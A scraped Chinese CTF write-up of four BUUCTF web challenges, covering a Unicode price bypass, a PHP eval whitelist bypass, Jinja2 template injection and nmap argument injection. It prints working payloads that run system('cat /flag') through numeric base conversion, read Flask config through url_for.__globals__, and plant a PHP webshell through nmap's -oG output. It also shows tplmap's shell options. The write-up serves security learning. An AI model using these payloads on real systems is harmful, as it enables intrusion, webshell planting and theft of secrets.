锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

buu web

时间:2023-02-17 19:00:00 dc24vege流量传感器

web

[ASIS 2019]Unicorn shop

  • 分析
打开界面,买东西,输入输入价格char()一个字符 1行 10不行 三处注释 便宜的价格买不到,贵的显示前不够 目录扫描,robots.txt.python2.7 龙卷风框架 

在这里插入图片描述

Traceback (most recent call last):   File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1543, in _execute     result = yield result   File "/usr/local/lib/python2.7/site-packages/tornado/gen.py", line 1099, in run     value = future.result()   File "/usr/local/lib/python2.7/site-packages/tornado/concurrent.py", line 260, in result     raise_exc_info(self._exc_info)   File "/usr/local/lib/python2.7/site-packages/tornado/gen.py", line 315, in wrapper     yielded = next(result)   File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 2409, in get     self.root, absolute_path)   File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 2601, in validate_absolute_path     raise HTTPError(404) HTTPError: HTTP 404: Not Found 
  • 漏洞挖掘
可能是模板注入,然后读取admin的password  imporant 指的是什么 
  • 利用
    首先学习个SSTI自动化工具 tplmapgithub上搜索下载
安装依赖库 sudo pip2 install -r requirement.txt  Usage: python tplmap.py [options]   选项:   -h, --help          显示帮助并退出   目标:   -u URL, --url=URL   目标 URL   -X REQUEST, --re..  强制使用给定的HTTP方法 (e.g. PUT)   请求:   -d DATA, --data=..  通过POST发送的数据字符串 必须用作查询字符串: param1=value1¶m2=value2   -H HEADERS, --he..  附加标头 (e.g. 'Header1: Value1') 添加新加新标头   -c COOKIES, --co..  Cookies (e.g. 'Field1=Value1') 添加新的Cookie   -A USER_AGENT, -..  HTTP User-Agent 标头的值   --proxy=PROXY       用代理连接到目标URL   检测:   --level=LEVEL       要执行的代码上下文转义级别 (1-5, Default: 1)   -e ENGINE, --eng..  强制将后端模板引擎设置为此值   -t TECHNIQUE, --..  技术 R:渲染 T:基于时间的盲注 Default: RT   操作系统访问:   --os-cmd=OS_CMD     执行操作系统命令   --os-shell          提示交互式操作系统Shell   --upload=UPLOAD     将本地文件上传至远程主机   --force-overwrite   上传时强制覆盖文件   --download=DOWNL..  将远程文件下载到本地主机   --bind-shell=BIN..  在目标的TCP在端口上生成系统Shell并连接到它   --reverse-shell=..  运行系统Shell反向连接到当地主机端口   模板检查:   --tpl-shell         在模板引擎上提示交互式Shell   --tpl-code=TPL_C..  在模板引擎中注入代码   常规:   --force-level=FO..  强制将测试级别设置为此值   --injection-tag=..  使用字符串作为注入标签 (default '*') 
  • 探测后发现不存在
  • 找到一个char()但大于1337?
知识点:UTF-8编码转换问题导致欺骗 两个不同的代码Unicode字符可能有一定的等价性,是字符或字符序列之间较弱的等价类型。 不同的语言对应不同的编码,如列 中文字符在utf-8编码后三个16进制,但仍将被视为字符  简单地说,找到一个外国字符,一个字符,但数字大于1337 津巴布韦(bushi?? 

ASCII码在unicode中是U 00~U 07f

  • 其他字符列如此N

  • 输入一堆十六进制\xc9\xb4()会被识别为一个单词

  • 因此,找到一个代表比1337大的数字编码的形式输入\x->%就行

  • 直接输入搜索框number找到

  • utf-8,\x变成%就行

  • 参考文章:点击

  • 与本题有关Unicode编码相关网站:点击

[CISCN 2019 初赛]Love Math

  • 给出源码
 error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ 
             show_source(__FILE__); }else{ 
             //例子 c=20-1     $content = $_GET'c'];
    if (strlen($content) >= 80) { 
        
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) { 
        
        if (preg_match('/' . $blackitem . '/m', $content)) { 
        
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) { 
        
        if (!in_array($func, $whitelist)) { 
        
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
  • 看到eval(echo)命令执行的漏洞,使用运算符获取命令??并且字符数小于80印象中只有16进制编码绕过一定的过滤。学习了
PHP函数调用:
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数

在PHP中函数名默认为字符串

  • 本题只能使用白名单的函数,看看别人的文章
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]


//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

函数做字符,通过异或获得shell
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
  • base_convert()函数能够在任意进制之间转换数字
base_convert(number,frombase,tobase)
number-初始数字,form-to 从一个进制到另一个进制
dechex(number)10进制转化为16进制
  • 如何构造自己的思路
**注意进制转换的函数以及常用的hex2bin只要获得16进制就可以获得字符。**
先直奔最后一步,我们是要执行命令的 system('ls')
其次,我们需要使用纯数字获得,利用PHP特性(system)('ls')
pi为数学函数圆周率,函数名可以使用字符串使用,;两个命令分隔
一种做法:$_GET传参方式  先获得 _GET
另一种:就直接写完整shell执行
($_GET[a])($_GET[b])&a=system&b=ls.
_GET=hex2bin(5f 47 45 54)=base_convert(37907361743,10,36)(dechex(1598506324))
新姿势:[]可以使用{}替换
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
$pi=_GET,($$pi){pi}=$_GET{pi}=$_GET[pi]我们就可以赋值
  • 并且本题有长度限制,真不明白比赛时怎么做出来的。获得就php环境获得或者在线进制转化工具
  • 进制的确定,可以确定两个进制并
    且进制转化后有hex2bin所有字符,然后获取数字就行。注意长度限制
后来发现进制先数字后字母
36进制 0-9 a-z
那类比以下 12进制就 0-9,A,B (X,E也行)
有规律,又没完全有规律

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{ 
        {% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)
  • 模板注入,存在过滤
  • flag在环境变量中,self config被过滤一般使用的是{ {config}}获得全局环境变量。看网友的payload大全,在最后一行看到了应该能用的 特殊文件读取{ {url_for.__globals__['current_app'].config.FLAG}}
  • 当禁用{ {config}},传{ {self.__dict__}},当两者都被禁用
利用python对象之间的引用关系来调用被禁用的函数对象
{
    
       {url_for.__globals__}}			#得到所有全局变量
{
    
       {url_for.__globals__['current_app'].config}}		#得到当前全局变量

或者 另一种 闪现
get_flashed_message()
返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,
然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
{
    
       {get_flashed_messages.__globals__}}获取全局信息
get_flashed_messages.__globals__['current_app'].config

[网鼎杯 2020 朱雀组]Nmap 1

  • 输入ip,扫描结果

  • 思路:命令执行漏洞或者nmap写文件
  • 首先尝试简单的命令执行,加分号截断等,试几个,再试写文件
namp ip 扫描ip地址,但是也可进行文件读写
-o output  参数
-o  将扫描结果输出到文件中
-oG:grep保存
-oN:正常保存
-oX:xml格式保存
-oA:将扫描结果以标准格式、XML格式和Grep格式一次性保存,分别放在.nmap,.xml和.gnmap文件中

一般我们扫描后结果有
# Nmap 7.92 scan initiated Sat Jul 23 20:49:59 2022 as: nmap -sV -p- -o result 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000026s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 23 20:49:59 2022 -- 1 IP address (1 host up) scanned in 0.81 seconds

会记录我们的ip地址,如果我们加入一点shell在ip后,如何?

┌──(xxx㉿kali)-[~/tplmap]
└─$ nmap -sV -p- 127.0.0.1  '' -o result.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-23 20:51 CST
Failed to resolve "".
Failed to resolve "".
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000023s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)

Failed to resolve "".
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
                                                                                                                                             
┌──(xxx㉿kali)-[~/tplmap]
└─$ cat result.txt 
# Nmap 7.92 scan initiated Sat Jul 23 20:51:45 2022 as: nmap -sV -p- -o result.txt 127.0.0.1 ""
Failed to resolve "".
Failed to resolve "".
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000023s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)

Failed to resolve "".
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 23 20:51:46 2022 -- 1 IP address (1 host up) scanned in 0.68 seconds


会报错,但是会将shell写入。那么我们改改文件名和ip不久能写入shell了吗
  • 不出意外,防火墙
  • 过滤php关键字,后缀可以使用phtml,php5等尝试,使用短标签
'<= `cat /flag`' -oA shell.phtml
  • 发现不行,读不到写入文件,后来看别人的写法,引号包括完整的语句,人家使用-oG,必须加IP使扫描成功
 127.0.0.1  '<= `cat /flag` -oG shell.phtml'
 或者通过扫描 文件读取内容在输出到txt文件中
' -iL /flag -oN vege.txt '
//phtml
# Nmap 6.47 scan initiated Sat Jul 23 13:14:14 2022 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/9e59c -oG shell.phtml 127.0.0.1  \ <= `cat /flag` \\
Host: 127.0.0.1 (localhost)	Status: Up
Host: 127.0.0.1 (localhost)	Ports: 80/open/tcp//http///	Ignored State: closed (99)
# Nmap done at Sat Jul 23 13:14:15 2022 -- 1 IP address (1 host up) scanned in 0.31 seconds
  • 后来发现,我忘记问号和分号,并且发现万恶的转义符,使用完整标签
  • 发现 -o也可以,-oA不行
127.0.0.1 '  -oG shell.phtml '

收获

  • 进制转化,以前只知道16进制现在知道2-36进制都行,获得字母一个方式
  • 函数使用 可以赋值使用 $a()
  • unicode编码问题(主要是数字编码问题)
  • nmap写入文件报错也能写
  • SSTI绕过姿势,url_for.globals使用。下划线的魔术方法
锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章